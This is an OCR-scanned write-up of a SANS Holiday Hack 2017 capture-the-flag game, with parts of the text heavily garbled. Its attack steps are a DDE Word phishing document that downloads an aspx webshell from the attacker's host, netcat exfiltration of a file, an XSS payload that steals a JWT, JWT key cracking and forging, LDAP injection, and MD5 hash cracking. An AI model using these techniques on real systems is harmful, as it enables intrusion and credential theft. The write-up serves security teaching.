on 11/15/2017 1:18 PM, tarpin.mcjinglehauser@northpolechristmastown.com

wrote

s!

ster Snowball.

ALABASTER'S EMAalIL

> Ewww, raisin. I Toved the gingerbread cookies myself. I think that

Mrs

\%

>
>
> Tin
>
>
>

wrote

Claus gave me the recipe. If I find it, i1l send it to you 1in an
email. I believe it was a a MS word docx file. So keep an eye out for
an email containing the words *“gingerbread” *“cookie

recipe” and a

k or attachment to the .docx file.

Oon 11/15/2017 1:16 PM, pepper.minstix@northpolechristmastown.com

>> I liked the raisin ones myself. Dont know about the gingerbread

ones.
>>
>>

>> On 11/15/2017 1:14 pM, sparkle.redberry@northpolechristmastown.com

>> Wr
>>> M
>>>
>>>

ote:
e neither, sorry.

>>> on 11/15/2017 1:13 PM, mary.sugerplum@northpolechristmastown.com

wrote
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>>
stock
>>>>>
>>>>>
north
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>
>>

>

Sorry, I dont know that recipe or have any left.

on 11/15/2017 1:10 PMm,

alabaster.snowball@northpolechristmastown.com wrote:
Does anyone have any cookies Teft over from Mrs Claus cookie

pile from last year? I’m working on the computer non-stop until
Christmas doing development and desperately need some of her

pole famous gingerbread cookies to keep me going.

I already emailed her but for she is not in the North Pole.

I NEEEEED MOAR COOKIES!

-Alabaster Snowball

. -

-yTs
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Alabaster looks to be the prime candidate for a phishing attack. We can use a Microsoft Word
document that abuses the DDE feature’ to remotely execute code on his machine, thanks to the
hint provided by Shinny Upatree. But what payload will we use?

Once again, Shinny Upatree provides a very important hint, telling us that Alabaster is running

IIS eith aspx on the EMI server. With this information, we can attempt to download a simple aspx
webshell” into the webroot directory (typically C:\inetpub) with the remote code execution that we
have with our DDE document. Our word document will have the follwing statements embedded in
a field.

{ DDEAUTO c:\\windows\\system32\\cmd.exe "/c powershell.exe -NoP -sta -Nonl -W hi
Object System.Net.WebClient).DownloadFile("http:// 1 8800l Bl 1K1:65001/holiday-hack-
shell.aspx','c:\\inetpub\\wwwroot\\holiday-hack-shell.aspx') " }

The word document is then saved and ready to be emailed.

Account  Logout

According to Alabaster’s E

email, he is ready to click

yes to all links in a docx Elf Webmail Access
file that has the words
“gingerbread”, “cookie”,
and “recipe”.

Inbox.

Sent

We compose our email
accordingly and send it to
Alabaster.

gingerbread cookie recipe

E gingerbread cookie recipeATTACHED FILE DOWNLOAD HERE: http://mail.northpolechri
/luhBpXNcsL083VGjpamX0XepvDjt7PenU9QhA9DboecA2yOFWM_gingerbreadcookierecipe.docx

Meanwhile we have our gingerbread cookie recipe.docx
bl

webserver brought up and
hosting our webshell. After
a few moments, we can

see that our exploit was
successfull and a request is

made for our malicious aspx
file.

" https://sensepost.com/blog/2017/macro-less“code-exec-in-msword/

? https://raw.githubusercontent.com/tennc/webshell/ rxster/ fuzzdb- webs%ell/ asg/ cmd. asgL*_ T

LA



Browsing to our URL we can see that we were able to succesfully write our webshell to the webroot
directory and now able to execute commands on the server.

« ¢ o @ 192.168.1.188:8002/holiday-hack-shell.aspx [S o

Program |c:\wind0ws\5ystem32\cmd.exe |

Arguments |fc dir ¢z, |

Run

Volume in drive C has no label.
Volume Serial Number i1s 2454-C240

Directory of c:

12/04/2017 08:42 BM 1,053, 508 GreatBookPage7.pdf
11/14/2017 07:57 EM <DIR> inetpub
09/12/2016 11:35 AM <DIR> Logs
12/05/2017 05:00 BM <DIR> Microsoft
07/16/2016 01:23 EM <DIR> PerfLogs
11/15/2017 02:35 EM <DIR> Program Files
11/14/2017 08:24 FM <DIR> Program Files (x86)
11/15/2017 03:03 BM <DIR> pvthon
11/14/2017 08:39 EM <DIR> Users
11/30/2017 06:23 BM <DIR> Windows

1 File(s) 1,053,508 bytes

9 Dir(s) 39,213,723, 648 bytes free

The page of The Great Book can be found in the web root directory as GreatBookPage7.pdf We
will need a way to transfer the file over to our machine. Going through the email server again, we
see Alabaster mention that he has installed nc.exe in the PATH of variable of his machine.

ALABASTERS EMAIL
| Date/Time: Tue, 12 Dec 2017 13:54:51 -0500
= Subject: Re: Lost book page
= Message Body:

Oon 12/12/2017 2:20 PM, alabaster.snowball@northpolechristmastown.com wrote:
I imstalled nc.exe to path for my computer.
on 12/5/2017 2:33 PM, alabaster.snowball@northpolechristmastown.com wrote:

> Well powershell is my new love but netcat will always hold a special

> place in my heart.

>

>

<« e o @ 192.168.1.188:8002/holiday-hack-shell.aspx - o We CheCk for the existence
Brogram  [chwindowssysemsziemd.oxe of nc on the host (using
Arguments [/ n 2281 \ 2>&1 to redirect error

= messages to STDOUT to be
Ncat: You must specify a host to connect to. QUITTING. .
printed on the page), and
<« c @ @ 192.168.1.188:8001/holiday-hack-shell.aspx -+ @ ONCe it,S conﬁrmed, we redi-
rect the file into netcat and
send it to our machine

Program |c:\wmd:ﬂws\ﬁrstem32\cmd.exe |

Arguments [nc 91 14 14 [ 17 65001 < C:\GreatBookPage7.pdf]|

Run

W J
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On our machine, we have anetcat listener ready to catch any connection and redirect all received
data into the file “GreatBookPage7.pdf”

The Great Book Page is titled “Regarding the Witches of Oz” and describes the existence of the
witches of OZ, and how, while very powerful, remained neutral during the events of the Great

Schism.

n

P
n\'g 'ﬂ\

W&»@Wﬁm%m%%é

@w@wm

ey

)

E DRI

C,

wilches seem 1o five ¢
of this wrifing, the witches have

L}
-~
)

=
.
ﬁg\;,

bp bubbies or broomsficks. €ach witch has a very different atfitude and
ontlook, ranging from faithiul friends who are dear 1o us all the way down
10 hearts full of unwashed socks and souls full of qunk.

- @ ltiig 1he Greal Schism, the witches very deliberately remained

giwtc%es of < kj,

X I all the varied and amazina people who inhabit the Liand of Oz,
! the witches are among the most powerful, wielding poten! magic
=25 and mesmerizing spells. Cbey travel throngh 1he air, propelled

\' '
t)

-
-

|-
neuiral, siding with neiher the Munchkins nor the €llves, The e !
vely in Oz, tending 10 their casiles, As S
ver been observed in the Dorth Pole, »
- 4

4
\ i/
LS
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THE ELF DATABASE

8) FETCH THE LETTER TO SANTA FROM THE NORTH POLE ELF DATABASE AT WTTP://EDB.
NORTHPOLECHRISTMASTOWN.COM. WHO WROTE THE LETTER?

The letter to Santa fetched from the Nort Poel Elf Database was written by the Wizard of
Oz.

AVAILABLE HINTS

R 'unorse Opensiae
"-r._-f Hint 1

Many people don't know this, but most of us elves have multiple
jobs here in the North Pole. In addition to working in Santa's
workshop, | also work as a help desk support associate for the
North Pole EIf Database site. | answer password reset requests,
mostly from other elves.

I el unorse Openslae Bl /Unorse Openslae
= =4 Hint 3 = = Hint 4

ol ‘Nunorse Openslae
= =4 Hint 2

One time, | got a weird email with a JavaScript alert and my
account got hacked. Fortunately, Alabaster was able to add some
filtering on the system to prevent that from happening again. |
sure hope he tested his changes against the common evasion
techniques discussed on the XSS filter evasion cheat sheet.

It's never a good idea to come up with your own encryption The interface we use lets us query our directory database with all
scheme with cookies. Alabaster told me he uses JWT tokens the employee information. Per Santa's request, Alabaster
because they are super secure as long as you use a long and restricted the search results to just the elves and reindeer.
complex key. Otherwise, they could be cracked and recreated Hopefully, he secured that too. | found an article recently talking
using any old framework like pyjwt to forge a key. about injection against similar databases.

v

*S
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For this challenge, we will need access to the elf database at http://edb.nortpolechristmas-
town.com and see the letter to santa. We do some light enumeration.

In the nmap results we
see 2 ports serving HTTP,
ssh and 1dap. nmap also
produces the contents of
robots.txt and we find a
hidden directory, /dev.

We portforward to port 8080 and take a look around. the /dev directory contains a txt file named
LDIDF Template containing unsuprisingly, an LDIDF template. This may prove useful later on.

Directory listing for /dev/

e LDIF template txt

CLDTF TEMPLATE i

cbjectClass: dcObject

dn: de—northpolechristmastown,de=com
de: northpolechristmastown
cbjsctClass: dcObject

cbjectClass: organization

objectClass: organizationalUnit
14 ou: human

12 dn: ou=human,dc=northpolechristmastown, dc=com ¥ '

NORTHPOLE

Bl : ou-cir, do-northpolechristmastawn, domcom ’ ELF DATABASE

objectClass: organizationalUnit
ou: elf

dn: ou=reindeer,dc=northpolechristmastown,de=com
objectClass: organizationalUnit
ou: reindeer

dn: en= ,ou= ,dc=northpolechristmastown,dc=com
cbjectClass: addressbookPerson
en:

an:
gn:

profilePath: /path/to/users/profils/image
0 uid:

31 ou:

52 aeparcmenc:

33 mail:

34 telephoneNumber: Need Help Logging in? Contact Support
street:

postOfficeBox:

postalCode:

postaldddress:

st:

1:

41 c:

42 facsimileTelephoneNumber:
description:

44 userPassword:

26
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<soript> SOVRCE CcObE

if (!document.cookie) {
window.location.href = '/";
} else {
token = localStorage.getltem("np—-auth™);
if (token) {
£.post({ "/login"™, { auth token: token }).done(function( resulc ) {
if (result.bool) {
Wwindow.location.href = result.link;

}
1)

Looking at the source code of the web app, It would seem that we need a cookie, and the
correct np-auth token to be able to access the page. Wunorse’s hint #3 talks about forging a
token but to do that, we'll first need a token.

Waunorse talks about getting hit with a xss attack (Hint #2) and that’s exactly what we’ll do.

Wunorse Openslae
Hint 2

One time, | got a weird email with a JavaScript alert and my
account got hacked. Fortunately, Alabaster was able to add some
filtering on the system to prevent that from happening again. |
sure hope he tested his changes against the common evasion
techniques discussed on the XSS filter evasion cheat sheet.

Wunorze Openslae

Hint 3

It's never a good idea to come up with your own encryption
scheme with cookies. Alabaster told me he uses JWT tokens
because they are super secure as long as you use a long and
complex key. Otherwise, they could be cracked and recreated
using any old framework like pyjwt to forge a key.

In the support page, we know that the tickets will be checked using the web interface. We
will embed a malicious xss code that will connect back to our listener with the values for
the cookie and jw totken. Using the link in Wunorse’s hint, we find a list of scripts' that we

can use to test for XSS.

o4
-

Having Issues logging in?

SVPLPORT PAGE

Provide your user id, email and message below and a customer service
elf will review your request to reset your account!

Usermname

[]
& glabaster.snowball

Emai

|
- alabaster.snowball@northpolechristmastown.com

Message

E <img sre=x onerror="alert(Holiday Hack 2017")"></img>

SUBMIT

it

WWW.OWaASP.Oore AeX.p D OV (C V4 O

SWCCESFUVLL X555

Holiday Hack 2017!

??
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Once we find a snippet that works we will use it in our password request. Below are the
results of the XSS attempts.

O Kl L 4
- -

Having Issues logging in? Having Issues logging in?
Provide your user id, email and message below and a customer service Provide your user id, email and message below and a customer service
elf will review your request to reset your account! elf will review your request to reset your account!
o] Q
& alabaster.snowball & alabaster.snowball
~ ~
. alabaster.snowball@northpolechristmastown.com . alabaster.snowball@northpolechristmastown.com
E onerror=this.src="http.// 165001 E onerror=this.src="http://" 165001
/?token="t|ocalStorage. getitem("np-auth’)> /?token="tlocalStorage.getitem("np-auth")>

LocAlL LSITENER

In the above screentshots, we obtain the session cookie and the JWT used for authentication.

L4’
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With the session cookie and JWT in hand, we can replay this back to the server using the firefox
dev tools. Refreshing the page redirects us into the account page of the web application.
ELF DATABASE

First Name

Last Name

User ID

Department

Phone

User Info

[ O inspector [ Console [ Debugger {1} Style Editor (@ Performance {k Memory = Metwork £ Storage B8 B O E x
» 8 Cache Storage +
» & Cookies

€3 http://192.168.1.188:8002
» & Indexed DB
v 8 Local Storage

Filter items = Filter values
Key o Value ¥ Data
ey)hbGciOUIUzINilsInR5cCl6lkpXVCI9.ey)kZXBOljoiZW5na.. np-auth: "eyhbGeiOUIUzITNi... QLKveX6B024VZaMis”

¥ Parsed Value

€ h 192.168.1.188:3002 ¥ np-auth: Array
wodnnhaadiali 0: "eylhbGeiOUIUzITMilslnR3cClolkpXVCIg"

The web application allows us to make queries against the north pole’s active directory server. In

the upper right corner however, looks to be the santa panel. Unfortunately, It is only available if
you are a Claus.

It looks like we'll need to trick the
server into thinking were santa claus
to gain access to this panel. This can
. Santa Panel  be done by forging the JWT.

v d @

You must be a Claus to access this panel! Logout

Search Profile

T 0000 ST eea—
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To forge a working token, we need to understand the format of JWTs.

A JWT is composed of three parts, the header, typically containing the type of token (JWT) and
the hashing algorithm being used; The payload, which contain the data that is being sent (referred
to as claims) and finally, the signature which is the encoded header and payload signed with a se-
cret to ensure the message wasn’t changed during transit. The result is three base64 encoded strings
separated by dots. This is illustrated below using an online JWT debugger’

Encoded

eyJhbGci0iJIUzITNiIsInR5cCI6Ikp
XVCJ9.eyJkZXBBIjoiZW5naW51ZXJpb
mcilCJvdSI6ImVsZiIsImV4cGly

OiIyMDESLTEYLTMxIDEYOjAwOjQ3L:
B0DA5SMy swMDowMCIsInVpZCI6ImFsYW
Jhc3R1ci5zbm93YmFsbCJ9.

Decoded

HEADER:

alg”: "HS256",
typ”: "JWT

PAYLOAD:

VERIFY SIGNATURE

Before we can forge the token,a key is needed to sign it. Wunorse mentions the possiblity
of weak keys being used for the token. This time, we'll try brute forcing the key using a tool
called jwt-cracker' after a few moments the key is cracked and the secret is revealed to be

3lv3s

Now that we have the key, we can forge tokens using pyjwt* In the UID field, we'll try san-
ta.claus. We'll also change the expiration to a valid date in the future.

" https://jwt.io/#debugger-io

*https://github.com/brendan-rius/c-jwt-cracker

3 https://eithub.com/ipadilla/pyviwt

-y
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Using the newly-generated token, we attempt to access the database again. Looking at our profile,
we can see that we have succesfully logged in as santa claus. Unfortunately, we still get the same
error message. Using the information in the profile page, we recreate the token and correct the “ou”
and “department” fields in the payload and see if we can get a different result.

USER PROFILE

Santa Claus

8 User ID: santa.claus
- -
Email: santa.claus@northpolechristmastown.com

'\'- Phone: 123-456-7893

oo
Mm% Organizational Unit: human

E Department: administrators

o Info: A round, white-bearded, jolly old man in a red suit, who

lives at the North Pole, makes toys for children, and distributes gifts
at Christmastime. AKA - The Boss!

This time, attempting to browse to the santa panel gives us a prompt for a password

- 192.168.1.188:2002/home.html * g

<« C @ @ 192.168.1.188:8002/home.html

Confirm you are a Claus by confirming your password:

Cancel

v
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Waunorse gives us a hint regarding an article about LDAP injection attacks against Active Directory

servers'.
I ‘Wunorse Openslae

G . e . == Hint 4
LDAP and SQL injections are similar in the |

.. . The interface we use lets us query our directory database with all
sense that unsanitized user input can be allowed the employee information. Per Santa's request, Alabaster
to break out Of the predeﬁned queries and exe- restricted the search results to just the elves and reindeer.

Hopefully, he secured that too. | found an article recently talking

cuted on the database. about injection against similar databases

For our search terms we supply “))” to close the existing query. Next we follow it up with “(|” which
is equivalent to the SQL “OR” statement. Lastly we add “(cn="to complete our query. The database
will then execute it’s predefined query but will return any record with a canonical name. The result
is a full dump of the database.

Unfortunately, the password isn’t part of the output that the database provides. Perhaps we can
coax the web page to display the password values? To do this we take a look at the source code and
study how the webpage displays data. Using the node inpsector tool, we select the dropdown and
look at the corresponding values in the source

192.168.1.188:8002/home. html by +

«)=> ¢ o (D8 192.168.1.188:8002/home.htm|

EIIOI!HII’ULE

# ELF DATABASE +

First Name
rudolph
Last Name
rudolph
Email
rudolph@northpolechristmastown.com
& 7 Inspector Console [ Debugger {1} StyleEditor (& Performance 1k Memory = Metwork £ Storage BB H 20O & x
-+ Search HTML & [El Rules Computed Layout Animations Fonts
<input class="select-dropdown” readonly="true" data-activates="select- a Filter Styles -+ Fri::i s
options-b276c768-39ed-7bl2-75ba-de369546da®6"” value="Choose your option™ k ~

style="" type="text"> » Pseudo-elements

This Element
element i inline
¥
.select-wrapper materialize.css:6882
alue="profilePath,gn,sn,mail">First,Last,Email« ption: input.select-dropdown
sption walue="profilePath,gn,sn,mail,uid,department”> i
rlrst,Last,:ﬁu,m,ﬁpte CpLLOn> position: relative;
cursor: pointer;
profilePath,gn,sn,mail,uid,department,telephoneNumber,description background-color: transparent;
:First,Last,Email, Id,Dept,Phone,Info< /opticn> P border: none;
selecty eidth: 44
<fdiv> fylay ;
<label style="coleor: white;">Columns Select</label> w lors 3 3

< > border-bottom: 1px solid @ #9e9e9e;

< vrow div.home_form div.input-field.col.s3 div.select-wrapper input.select-dropdown b outline: none; v

We see that the values for the dropdown correspond to variable names in AD.

! https://pen-testing sans.org/blog/2017/11/27inderstanding-and-exploiting-web-based-1dap
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Going back to the LDIF template, we can see that the password variable is named userPassword.
Let’s try editing the page to display the user password.

We substitute the depar-
ment variable with us-
erPassword and save the

[ O nspector B Console O Debugger {} Stylefditor @ Peformance £k Memory = Network 8 Storage  H'EH B & 0 & X
+ Search HTML # Bl Rules  Computed  Layout  Animations  Fonts

<input class="select-dropdown" readonly="true" data-activates="select- A | ¥ Filter Styles + 'Fr: s

options-b276c760-39ed-7b12-75ba- de3695460a06" value="Choose your option” A
style="" types"text’s @ | Pseudo-elements Changes. NOW, When we run
b <ul id="select-optiens-b2 . .
class="dropdown-content select-dropdown” style="width: position: s tene our query and llst all the
absolute; top: @px; left: Bpx; ity: 1; display: none;"s[</ul> @ element - { inline
[T ) users, the contents of the

on #, ibefore, iiafter UF { materialize.css:2541

password field is displayed.

alue=

box-sizing: inherit;
i
First,last,Email,Id,Dept
Inherited from selectattributes

value="profilePath,gn,sn,mail,uid,department  telephonelumber,description” button, select Ot { naterialize.css: 2394
»First,last,Email,Id,Dept,Phone, Info</o n
selects ;
button, input, optgroup, materialize.css:2368
select, textares {

¥
color: inherit;
itialized m ) font: inherit;

text-transform: none;

</div>
<label style="color: white;">Columns Select</label>

<

{ omeform  divinput-field.cols3 © divselect-wrapper  select

T Filter output

First
Name

aiation

e rudolph  rucolph ! 724 avaton e
Dencer s aref

; personaly. He'
aator 1254567894 Qe

dance partes.

’hmzen bitzen i T avaton  12345678%
Trefestest e

.dashev dasher i Tafh aalon 1234567804 AASTERdY O
reason, heexce

ofisessan

.dmnev domner oom Tall avalon  12345678% g:‘"c":
Taginis helog

warkshop 1284564740 Hemakes e
ferted zrourd

mejrgehauser tapn

Cupid
’mpid cupd cupid@r Tafd avator 1234567394 Chiist e
1 avergreen i DB1Ef0ET61 71715 wotkshop 1234564741 North ook, Any|
Herhands &t s

’ comet  comet 1 com 724 aviation 1234567894 He's e

sugapiun

wotkshop
orgenizes and g

Sparkle is a member of the workshop. She is
651 sparkle  redberry sparkle.redberry@northpolechristmastown.com 82161cf4bdc 00d p 123-456-4748 responsible for decorating and making
everything feel festive.

‘Wunorse works in the 2
his world-famous cookies.

wunorse  opensiae wunorse. i com 7 kitchen 123-456-7812

Minty Candycane works in the workshop

Minty candycane minty. car istmastown.com bcf38b6e70b907d51d9fad1549541992  workshop 123-456-7812 :
making delectable candy canes.

Shimmy Upatree is a master toy artisan. In

Shimmy  upatree himmy. i com d0930efed8e75d7c8ed2e7d8e1d04e81  workshop 123-456-7892 ; s 2
his spare time he likes being arboreal.

Pepper  Minstix pepper. minstix@northpolechristmastown.com d0930efed8e75d7c8ed2e7d8e1d04e81  Security 123-456-7892 world, and has worked his way up to being
Head of EIf Security.

A skilled engineer and the inventor of Santa's

Bushy  Evergreen bush thpolechristmastown.com 3d32700ab024645237€879d272ebc428 Engineering  123-456-7891 ; 5 !
magic toy-making machine.

Developer of an elaborate computer system
labast thpolechri com  17e22cc100b1806cdc3cf3b99a3480b5 Engineering  123-456-7890 that updates each child's Naughty or Nice
rating five times a minute, AKI year around.

Mrs. Claus is the wife of Santa Claus and is
the primary administrator and care-taker of
the elves. As such, she is highly admired

amongst the elf kind.

Jessica  Claus jessica. ortt i com 1 672ca79a7071 i 123-456-7893

° Pepper is the protector of Santa's magic

Around, white-bearded, jolly old man in a red
suit, who lives at the North Pole, makes toys
for children, and distributes gifts at

Christmastime. AKA - The Boss!

@ Santa  Claus santa.claus@northpolechristmastown.com cdabeb96b508f25197ab0f162eacha04 fadministrators 123-456-7893
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Santa’s password is stored as an MD5 hash in the AD database. While it would be impossible for us
to revert the hash into it’s original value, there are tools available to us that we can use to attempt to
brute force the hash, given a large enough wordlist. For this instance, we'll use the rockyou wordlist

The tool hashcat claims to be the world’s fastest password recovery tool. True to it’s name, it cracks
the hash within a few seconds. Santa’s password is reported to be “liwantacookie’

>

HAasrHcaAT

g
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W < I} Alas, the mo-
o> e ment we've all
been waiting
for! We click on
the Santa panel
and are prompt-
ed for Santa’s
password. We
supply it the
output from
hashcat and ...

® 192.168.1.188:8002/home.html w I @ =

Confirm you are a Claus by confirming your password:

liwantacookie ‘

ok | | cancel |

Lo and Behold! A letter from none other than the Wizard of OZ!

- -
Frone ﬂ\e \S}lzamcl ot Oz
, el @ﬂ'g, @

R

Dear éar\’ra\,

mg olc] ﬁriemﬂ | \x)isl\ You a very nerry @l\ri&h\\a‘s. ﬂ\ar\]& you For a]l you clo o larir\g l\oli&ag el\eer

APO\H\J* e world.

E\)erg yean l enjoy our gi{l‘ exel\m\ge — you giving me a @l’\ri&l’ma& pre&er\i‘ a\r\cl ] giving you a
@ols*ice giFi \be’\)e excl\M\gecI some erazy ﬁ\ir\gs in }l\e pa\sl‘. Bg ny reckoning, 30\1709 given ne:
Big Hair Hairaprag

Fix\L Eled‘ior\ @m\\pa\igl\ Hat

Bacon Bemclages

éea\pg l‘l\e UI\ieom\ H\l&l’\ Fi”ov)

Prir\eess Leia\ Earmuﬁs

Bacon fie with Giant {o Hemoi‘e

@iom\\}rooper Boxer Shorts

oK R R R K F

el\ what Fur\ fimes! Gr\c] [ve given you:

ﬂ\e Nubulator

@)a\rcler\ @t\or\\e

Shustin Bieber foo’rl\l')mal\

@r\oﬁg the Fig Hat and Pink @)Ioves

Giant ]r\ﬂed'exl)]e Ola\f the Snowman

Qriana @Pa\r\cle LigI\}—up Cat Ear Heazlpl\or\ea

KoK K R R R

@e", wait #l you see what [ve got Forﬂ you this yean my Frier\c]l gule love it!
merﬁg Christras!
— ﬂ\e KszJ

gs
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THE REAL VILLAIN

9) WHICH CHARACTER IS ULTIMATELY THE VILLAIN CAVSING THE GIANT SNOWBALL
PROBLEM. WHAT IS THE VILLAIN'S MOTIVE?

The character ultimately responsible for causing the giant snowball problem is Glinda, the good
witch of Oz.Her motive was to stir up tensions between the munchkins and elves in order to start
a war between OZ and The North Pole. She would then sell her magic and spells to both sides
making a ton of money in the process.

&6
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After completing the final snowball challenge (“We're off to see the..”). A Conversation between
the player and Glinda, the Good Witch is unlocked

NPC Conversation

fg B Conversation with Glinda, the Good Witch
It's me, Glinda the Good Witch of Oz!
You found me and ruined my genius

plan!

You see, | cast a magic spell on the
Abominable Snow Monster to make
him throw all the snowballs at the North
Pole. Why? Because | knew a giant
snowball fight would stir up hostilities
between the Elves and the Munchkins,
resulting in all-out WAR between Oz
and the North Pole. | was going to sell
my magic and spells to both sides. War
profiteering would mean GREAT
business for me.

But, alas, you and your sleuthing foiled
my venture. And | would have gotten
away with it too, if it weren't for you
meddling kids!

It looks like Glinda was the REAL villain behind the snowballs. She was hoping to stir up tensions
between the munhkins and elves in order to start a war between Oz and The North Pole! But why?
Because she wanted to sell her magic and spells to both sides making a ton of money in the pro-

cess.
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THE GREAT BOOK PAGES
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uc - M'GB'#WA

3 About This

33 === his tome is the work of a successive qroup of anonymous

; scribes dedicated 1o preserving the memory of ihe exceplional
. Litile People of Oz so that they'll g0 down in history. Over a
span of several centuries, each r has striven 1o capiure the most

important social, political, and fechnological changes the Ozians have
experienced from the happy aolden daps of pore throuah today.

ach and every author is dedicated fo the goal of helping future

aeneralions appreciate and undersiand the unique shared

8% heritaqe of merriment, mirth, and magnanimity characieristic of
1he Liittle People of Oz, This book describes the good timies they have
shared. fliso, it also does mot shy away from recording the bad fimes
1hey have suifered as well. €ach writer on this qreat multi-generational
project atlempis 19 record and present the facis newirally, withoul bias
or opinion, uninflwenced as much as possible by factionalism or the
controversies of the day.
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n the ow of
@g‘?[mt% Animals <

2 riqinally, only birds could fly in Oz. But, Ibruglml the land,
: | /|1 was umiversally recognized that ofher flying animal
y S bring qreal ¢conomic ln s - [aster transporfatio
4 shipping costs, and a cerfain I'h ity that would likely i ﬂsr
» Tourism. Oz's qreatest scienfific minds were fasked with the creation

of such beasts. Unfortunately, the actual development of flying inm
species was plaqued with unforeseen difficulties.

The first attempt, a single flving lion named Moonracer, was a deemed a

failure. Althouah the fion could indeed Iy, children responded in abject
terror al bis fearsome appearance. The Oz €hamber of €ommerce
demand scienfists choose a species less formidable than a lion,

m}:omﬂ their error, Ozian scientists next arafied winas onto
-Ioihtps, hoping that inherent simian cuteness would prevail,
winaed monkeys proved ¢ven more borrilic llmr flying lien,
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L
£

Wl CThe exasperaled scientists then tlade their third and final attempt -
: " Ilving reindeer. Throuah intense research, they devised an incredible
* Technoloaical advancement that would allow reindeer 1o [l withow
wings! 11 was an unparalleled genetic and acrodynamic achievement.

e

o

. v._‘_

-

4 u q) _
74 '.ﬂ .

X

DLk
i“‘-r

¥et, even this advance was accompanied by a sliaht comcern, The
deep-seated qenelic alierations imiroduced 1o suppor! wingless flight
resulted in an infinitesimally small probability of a sianificant side
effect: a one-in-a-million chance that a reindeer would one day be born
with a brilliantly shiny red nose. Some of the scientisis posited sucha -
reindeer’s nose would even alow, Despite this chance, the researchers
charaed ahead 1o breed an entire herd of such flying reindeer. And, for
centuries, the "red nose” phenomenon was never observed in 1he wild,

i [ Ilwlgh the fiying reindeer were a technological marvel and

SR
| ngm
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ST TTa-
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Slge

"&Ii
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;
ilf -
25
£
§
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£

J A ewrpthing During ihe separafion negoliations, the Wizard
of Oz and Samta €laus both decided that INoonracer and the reindeer
would be moved fo the North Pole, whil the flying monkeys would

(v

J remain in Oz,
f
pi’é‘ ”]Eéme::waw P
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OC i .M‘G E-)'&-Wr'h

P = AN e ' g
errafic. Several limes every day, bis eyes seem 10 go blank as
bhe stares off into the distance. Rumor amonq the ¢lves is that
there must bave been some maqic in something the Bumble ate. fs of

~ 1his writing, the Bumbie is under careful analpsis by Yukon €ornelins
jml the Dorth Pole’s best veterinarians. f1 diagnosis remains elusive,

@ ery recently, though, the Bumble's behavior has become quile

m@

Q
i

&

N

e
1k Wy 1

RIS

i

1A

& iy
e, -

AN

—

Yz

AP

APPENDIX — THE GREAT BOOK PAGES

G
L %
Fl
T

%



9

APPENDIX — THE GREAT BOOK PAGES



¢

APPENDIX — THE GREAT BOOK PAGES



LETTER FROM THE WIZARD
oF 02
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b o - e

_.From:m @izam 0 Oz
™ Emera]cl ei’rg, Oz

@ear*' éar\]‘a,
mg olcl Emer\c“ I u)lsl\ You a very nerry elxmsfn\as ﬂ\eml( you FOP all you clo to lomr\g l\ol clag el\een

amour\cl the wor

EOer*g year | e [ en og our SIFI‘ excl'\emge — you giving ne a Clvistnas present and | gn)mg you a
Solstice glF} Ve excl\m\gecl some erazy things in the past. Bg my rnecl«omng, you Ve given me:

%* Big Hair Ha.irspmg

* F inJ« Elecl‘ior\ ea.mpaigr\ Ha’r

% Dacon Bar\clagea

3 éeapg the Unieorn Phush Pillow
% Princess LQI& Ear‘muFF

% Bacon fie with Giand fo I-%n\o}e
* é}om\{'rooper Boxer Shorts

el\ what F\m fimes| er\c] [ve given you:

# The Nubulator

& GamJer\ @Jr\or\\e

% @J\m}in Bicher {oofl\l)mal\

& @norfg the Fig Hat and Pink (3]009&

% Giant [r\ﬂa’ral:)]e O]aF the ®nowman

& erim\a @;PamJe Ligl\}—up Cat Ear [“[eaclpl\or\ea

we“, wait Hl you see ahat [oe got Forﬂ you this year my frier\cll @ule love !
mer“r'g Christres!
= ﬂ\e KQmJ

E—
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MENIUORANDU

To: All North Pole Elves
From: Alabaster Snowball

RE: Password Reuse Habits

It has been brought to my attention that many of the North Pole Elves have adopted a
terrible habit of reusing passwords across multiple systems.

Please take this opportunity to refamiliarize yourself with the policy requirement for
password selection, summarized here:

+ You must use a different password across all systems
« Your password must include letters and special characters
+« Do not write down or share your passwords with others

Thank you for your cooperation in this matter.

Merry Christmas!

@e

T R —— -

[
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BOLO: Munchkin Mole Advisory

Please be advised that the long-mmored nmminchkin moles are now
believed to be real. After a detailed and thorongh investigation,
MNorth Pole Anthorities have identified two mmnchkins
impersonating elves in Santa's workshop.

When confronted, both mmnchkins were able to evade elf
anthorities after throwing rocks and engaging in aggravated hair
pulling. The pair mysterionsly disappeared after speaking an
unknown word sounding like "prmmezgexenll

Munchkin Descriptions

MName: Boq Omestrian

Height: Approximately 4 feet

Weight: Unknown

Appearance: Reddish skin tone, bine eves. A single cud of hair
dominates an otherwize nnremarkable hairstyle.

Warning: Boq is nncannily accurate at short-distance rock
throwing.

MName: Bi Am

Height: Appromimately 4 feet

Weight: Unknown

Appearance: Pale skin, grey eyes. Unmly black hair.
Warning: Bini 1s unrelenting in hair pulling.

If you see these mmnchkin moles, do not attempt to detain or
apprehend them Contact the North Pole Police Department for
assistance.

For more information wisit

https:/ ,-"'11ppd.11c>rﬂzpoleclujshna31‘-;::1;'11.::0:11.

Merry Christmas!

. - -r .

0%
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QS
‘Wﬁ% aud Moe
list

Submitted on_this the 24 of November 2077 pursuant to the LU
&/(e/oa/ Data Fratection /@/a/at/'w( / yﬂpﬁ/ 4{//%0 Lion /}(faﬁmf/w(
i this Gt has been removed to protect the priracy 0f those. rdenti-
f/éc/, f«é/'w A5 /é/e/(b‘/f/éc/ i this docament miy exerolse Uhelr /‘4}?/41/‘ 17
aé/wf to the processing a/ this data pursuant b WP/P Articte 27
/f contacting /c?ﬁ @/{Wﬁé/ﬂé&éﬂ&t/ﬂaﬂ‘mﬁa con,

Abdallt, Lideey Nise
Abjpa Chavez N
4&//2%& Ferera /l/aag/é&y
Advran /fe/rr/ﬂ Nice
Adian Lo N
Adviana Sutherland N
ﬁy/{%’ Adan Nie
Abmed Hornandez Nie

AL Motina Nice
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Abnbaster Showbal?
4/%/'62/(6{/"0 Burnett
Alowa FPearson
Aloyander fa/ee/(e%
#%f/%c/ ater
#4'[/‘6&/ %/y

Alice Brock

Alce Satas

Abna Davris

Abllen Farmer
Atlen ¢/‘d/(5
Allison Barton
Anan Das

Ananda Danr
Anber Fao

Anelia Mark,
Anelia Sabok
Anire Shellon

Anr Biras

Ardrew Saced
ﬁl/(c{/ Soriano
ﬁl/ye/?'oa Macdonald
A /%ﬁyaez

At Newnan

Awna Duncan
ﬁlf(b%wry Chin

Nie
N
Nie
